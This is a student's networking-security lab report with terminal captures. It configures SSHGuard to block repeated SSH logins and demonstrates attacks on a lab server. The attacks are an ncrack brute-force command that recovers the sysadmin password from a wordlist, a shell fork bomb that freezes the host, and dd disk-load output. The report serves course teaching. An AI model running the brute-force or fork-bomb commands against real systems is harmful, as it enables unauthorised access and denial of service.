

Peter Sanford
IT 2700
NetLab Lab 5
11/04/2023

1.1:

Step 5:

```
[sudo] password for sysadmin:
sysadmin@ubuntu:~$ service sshguard status
● sshguard.service - SSHGuard
   Loaded: loaded (/lib/systemd/system/sshguard.service; enabled; vendor preset: enabled)
   Active: inactive (dead) since Sat 2023-11-04 20:07:08 UTC; 3s ago
     Docs: man:sshguard(8)
  Process: 1043 ExecStartPre=/usr/sbin/iptables -N sshguard (code=exited, status=0)
  Process: 1091 ExecStartPre=/usr/sbin/ip6tables -N sshguard (code=exited, status=0)
  Process: 1120 ExecStart=/usr/sbin/sshguard (code=killed, signal=TERM)
  Process: 4679 ExecStopPost=/usr/sbin/iptables -X sshguard (code=exited, status=0)
  Process: 4680 ExecStopPost=/usr/sbin/ip6tables -X sshguard (code=exited, status=0)
 Main PID: 1120 (code=killed, signal=TERM)
```

Step 8:

```
$ ssh sysadmin@172.16.1.10 "uptime"
The authenticity of host '172.16.1.10 (172.16.1.10)' can't be established.
ECDSA key fingerprint is SHA256:Q/tBtXJLxJyOgvr6JheGkrFVSAUoEYYubMgwCPGDhW0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.16.1.10' (ECDSA) to the list of known hosts.
sysadmin@172.16.1.10's password:
 20:08:34 up 4 min,  1 user,  load average: 0.36, 0.91, 0.45

(kali@kali)-[~]
$
```

Step 13:

```
(kali@kali)-[~]
$ ncrack -v 172.16.1.10 --user sysadmin -P /usr/share/wordlists/fasttrack.txt -p ssh 1 x

Starting Ncrack 0.7 ( http://ncrack.org ) at 2023-11-04 15:11 CDT

Discovered credentials on ssh://172.16.1.10:22 'sysadmin' 'NDGlabpass123!'
ssh://172.16.1.10:22 finished.

Discovered credentials for ssh on 172.16.1.10 22/tcp:
172.16.1.10 22/tcp ssh: 'sysadmin' 'NDGlabpass123!'

Ncrack done: 1 service scanned in 69.10 seconds.
Probes sent: 58 | timed-out: 0 | prematurely-closed: 14

Ncrack finished.

(kali@kali)-[~]
$
```

1.2:

Step 3:

```

sysadmin@ubuntusrv:~$ sudo cat /etc/sshguard/sshguard.conf
#### REQUIRED CONFIGURATION ####
# Full path to backend executable (required, no default)
BACKEND="/usr/lib/x86_64-linux-gnu/sshg-fw-iptables"

# Shell command that provides logs on standard output. (optional, no default)
# Example 1: ssh and sendmail from systemd journal:
LOGREADER="LANG=C /bin/journalctl -afb -p info -n1 -o cat SYSLOG_FACILITY=4 SYSLOG_FACILITY=10"

#### OPTIONS ####
# Block attackers when their cumulative attack score exceeds THRESHOLD.
# Most attacks have a score of 10. (optional, default 30)
THRESHOLD=30

# Block attackers for initially BLOCK_TIME seconds after exceeding THRESHOLD.
# Subsequent blocks increase by a factor of 1.5. (optional, default 120)
BLOCK_TIME=60

# Remember potential attackers for up to DETECTION_TIME seconds before
# resetting their score. (optional, default 1800)
DETECTION_TIME=60

# IP addresses listed in the WHITELIST_FILE are considered to be

```

Step 5:

```

● sshguard.service - SSHGuard
   Loaded: loaded (/lib/systemd/system/sshguard.service; enabled; vendor preset: enabled)
   Active: active (running) since Sat 2023-11-04 20:15:38 UTC; 46s ago
     Docs: man:sshguard(8)
  Process: 5728 ExecStartPre=/usr/sbin/iptables -N sshguard (code=exited, status=0)
  Process: 5741 ExecStartPre=/usr/sbin/ip6tables -N sshguard (code=exited, status=0)
 Main PID: 5742 (sshguard)
    Tasks: 8 (limit: 4611)
   Memory: 4.0M
    CGroup: /system.slice/sshguard.service
            └─5742 /bin/sh /usr/sbin/sshguard
              └─5743 /bin/sh /usr/sbin/sshguard
                └─5744 /usr/lib/x86_64-linux-gnu/sshg-parser
                  └─5745 /usr/lib/x86_64-linux-gnu/sshg-blocker -a 30 -p 60 -s 60 -w 60
                    └─5746 /bin/sh /usr/sbin/sshguard
                      └─5748 /bin/journalctl -afb -p info -n1 -o cat SYSLOG_FACILITY=4 SYSLOG_FACILITY=10
                        └─5749 /bin/sh /usr/lib/x86_64-linux-gnu/sshg-fw-iptables

Nov 04 20:15:38 ubuntusrv.netlab.local sshguard[5757]: RETURN    all -- 0.0.0.0/0
Nov 04 20:15:38 ubuntusrv.netlab.local sshguard[5757]: Chain DOCKER-ISOLATION-STAGE-1
Nov 04 20:15:38 ubuntusrv.netlab.local sshguard[5757]: target     prot opt source destination
Nov 04 20:15:38 ubuntusrv.netlab.local sshguard[5757]: DROP      all -- 0.0.0.0/0
Nov 04 20:15:38 ubuntusrv.netlab.local sshguard[5757]: RETURN    all -- 0.0.0.0/0

```

Step 10:

```
(kali㉿kali)-[~]  
$ ssh sysadmin@172.16.1.10  
sysadmin@172.16.1.10's password:  
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)  
  
* Documentation:  https://help.ubuntu.com  
* Management:    https://landscape.canonical.com  
* Support:       https://ubuntu.com/advantage  
  
System information as of Sat 04 Nov 2023 08:22:53 PM UTC  
  
System load:  0.0                Processes:            367  
Usage of /:   34.2% of 38.26GB   Users logged in:     1  
Memory usage: 64%              IPv4 address for docker0: 172.17.0.1  
Swap usage:   0%                IPv4 address for ens160: 172.16.1.10  
  
* Super-optimized for small spaces - read how we shrank the memory  
  footprint of MicroK8s to make it the smallest full K8s around.  
  
  https://ubuntu.com/blog/microk8s-memory-optimisation  
  
0 updates can be applied immediately.  
  
The list of available updates is more than a week old.  
To check for new updates run: sudo apt update  
  
Last login: Wed Jul 28 05:50:38 2021  
sysadmin@ubuntusrv:~$
```

2:

Step 5:

sysadmi...

1 [| 2.0%] Tasks: 171, 305 thr

2 [||| 2.6%] Load average: 0.14

Mem[2.40G/3.8] Uptime: 00:20:36

Swp[1.26M/3.8]

PID	USER	PRI	NI	VIRT	RES
3461	root	39	19	57164	5480
4222	sysadmin	20	0	3799M	228M
6393	sysadmin	20	0	8200	4388
3416	netdata	39	19	105M	68952
5169	mysql	20	0	1677M	127M
4066	sysadmin	20	0	260M	55504
1501	mysql	20	0	1677M	127M
3139	netdata	39	19	105M	68952
3425	netdata	39	19	105M	68952
1116	mysql	20	0	1677M	127M
4531	sysadmin	20	0	796M	53568
3438	netdata	39	19	1736	1280
3455	netdata	39	19	48152	35972
3456	netdata	39	19	707M	23672
802	root	20	0	158M	7020
3432	netdata	39	19	105M	68952
3418	netdata	39	19	105M	68952
3415	netdata	39	19	105M	68952
3454	netdata	39	19	105M	68952
3428	netdata	39	19	105M	68952
3647	netdata	39	19	707M	23672

F1Help F2Setup F3Search F4Filter F5Tree

sysadmi...

sysadmin@ubuntusrv:~\$:(){ :|: & };;
[1] 6491
sysadmin@ubuntusrv:~\$

It froze ☺

3:

Step 7:

```
sysadmin@ubuntu: ~  
Total DISK READ: 34.20 M/s | Total DISK WRITE: 34.20 M/s  
Current DISK READ: 34.20 M/s | Current DISK WRITE: 43.0 M/s  
Files  
PID Prio User Disk Read Disk Write Swapin IO%  
9 be/4 root 34.20 M/s 34.20 M/s 0.00 % 65.01 % d-a  
1401 be/4 www-data 3.31 K/s 3.31 K/s 0.00 % 0.01 % p-t  
1 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % l-y  
2 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
3 be/0 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
4 be/0 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
5 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
6 be/0 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
7 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
8 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
9 be/0 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
10 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
11 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
12 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
13 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
14 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
15 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
16 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
17 rt/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
18 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
19 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
20 be/0 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
21 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
22 be/0 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
23 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
24 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
25 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
26 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
27 be/0 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
28 be/4 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
29 be/5 root 0.00 B/s 0.00 B/s 0.00 % 0.00 % [-]  
keys: any: refresh q: quit i: ionice o: active p: proc  
a: accum  
sort: f: asc left: SWAPIN right: COMMAND home: TID  
end: COMMAND
```

Commentary:

In this lab explored automatically blocking attacks and also some more attacks like DOS and dd. I learned that it doesn't take much to increase your security by automatically blocking certain things, and that certain attacks are easy once you have access to a system. Knowing this information, companies should implement these security features to block attacks and keep in mind the different attacks that hackers can use.